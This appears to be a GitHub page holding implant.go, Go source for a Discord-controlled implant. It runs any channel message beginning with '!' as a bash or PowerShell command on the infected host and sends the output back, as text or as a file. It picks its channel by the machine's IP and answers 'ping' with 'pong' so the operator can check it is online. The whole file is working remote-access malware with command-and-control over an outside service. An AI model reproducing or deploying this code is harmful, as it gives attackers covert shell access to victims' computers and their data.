-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathimplant.go
200 lines (167 loc) · 4.43 KB
/
implant.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
package main
import (
"bufio"
"fmt"
"io/ioutil"
"log"
"net"
"os"
"os/exec"
"os/signal"
"runtime"
"strings"
"syscall"
"time"
"github.com/bwmarrin/discordgo"
"github.com/joho/godotenv"
)
//gets the id of the channel that the bot should listen to
var channelID string = setup()
var configFile string = "UB_hack_config.txt"
//execute the command that is sent to the bot through the channel
func execute(s *discordgo.Session, m *discordgo.MessageCreate) {
if m.Author.ID == s.State.User.ID {
return
}
operatingSystem := runtime.GOOS
if operatingSystem != "windows" {
if m.ChannelID == channelID {
if strings.Contains(m.Content, "!") {
command := m.Content[1:]
cmd := exec.Command("/bin/bash", "-c", command)
out, err := cmd.Output()
if err != nil {
fmt.Println(err, " on ", command)
s.ChannelMessageSend(m.ChannelID, string("Sorry the command failed, please try again. error: "+err.Error()))
}
if len(out) > 2000 {
now := time.Now()
filename := "UB_hack_" + now.Format("2006-01-02_15-04-05.txt")
err := ioutil.WriteFile(filename, []byte(out), 0644)
if err != nil {
fmt.Print(err)
}
file, err := os.Open(filename)
if err != nil {
fmt.Println(err)
}
defer file.Close()
s.ChannelMessageSend(m.ChannelID, "Output too long, sending as file")
s.ChannelFileSend(m.ChannelID, filename, file)
}
s.ChannelMessageSend(m.ChannelID, string(out))
}
}
} else {
if m.ChannelID == channelID {
if strings.Contains(m.Content, "!") {
command := m.Content[1:]
cmd := exec.Command("powershell", "/C", command)
out, err := cmd.Output()
if err != nil {
fmt.Println(err, " on ", command)
s.ChannelMessageSend(m.ChannelID, string("Sorry the command failed, please try again. error: "+err.Error()))
}
if len(out) > 2000 {
now := time.Now()
filename := "UB_hack_" + now.Format("2006-01-02_15-04-05.txt")
err := ioutil.WriteFile(filename, []byte(out), 0644)
if err != nil {
fmt.Print(err)
}
file, err := os.Open(filename)
if err != nil {
fmt.Println(err)
}
defer file.Close()
s.ChannelMessageSend(m.ChannelID, "Output too long, sending as file")
s.ChannelFileSend(m.ChannelID, filename, file)
}
s.ChannelMessageSend(m.ChannelID, string(out))
}
}
}
}
//gets the local ip address of the machine used in the setup function
func getLocalIP() (string, error) {
// Get a list of network interfaces on the machine
ifaces, err := net.Interfaces()
if err != nil {
return "", err
}
// Loop through the network interfaces to find the IP address
for _, iface := range ifaces {
addrs, err := iface.Addrs()
if err != nil {
return "", err
}
for _, addr := range addrs {
switch v := addr.(type) {
case *net.IPNet:
if !v.IP.IsLoopback() && v.IP.To4() != nil {
return v.IP.String(), nil
}
}
}
}
// Return an error if no IP address is found
return "", fmt.Errorf("no IP address found")
}
//gets the channel id that the bot should listen to from the config file and returns it
func setup() string {
ip, err := getLocalIP()
if err != nil {
fmt.Println(err)
}
ip = strings.Replace(ip, ".", "-", -1)
file, err := os.Open(configFile)
if err != nil {
fmt.Println(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
channelID := ""
for scanner.Scan() {
if strings.Contains(scanner.Text(), ip) {
line := strings.Split(scanner.Text(), " ")
if len(line) > 1 {
channelID = line[2]
}
}
}
return channelID
}
//when it recieves ping in it's channel it responds with pong which is latter used to check if the bot is online
func checkConnection(s *discordgo.Session, m *discordgo.MessageCreate) {
if m.Author.ID == s.State.User.ID {
return
}
if m.ChannelID == channelID {
if m.Content == "ping" {
s.ChannelMessageSend(m.ChannelID, "pong")
}
}
}
//main function
func main() {
err := godotenv.Load(".env")
if err != nil {
log.Fatal("Error loading .env file")
}
sess, err := discordgo.New("Bot " + os.Getenv("GITHUB_CLIENT_TOKEN"))
if err != nil {
log.Fatal(err)
}
sess.AddHandler(checkConnection)
sess.AddHandler(execute)
sess.Identify.Intents = discordgo.IntentsAllWithoutPrivileged
err = sess.Open()
if err != nil {
log.Fatal(err)
}
defer sess.Close()
fmt.Print("Bot is running...")
sc := make(chan os.Signal, 1)
signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt)
<-sc
}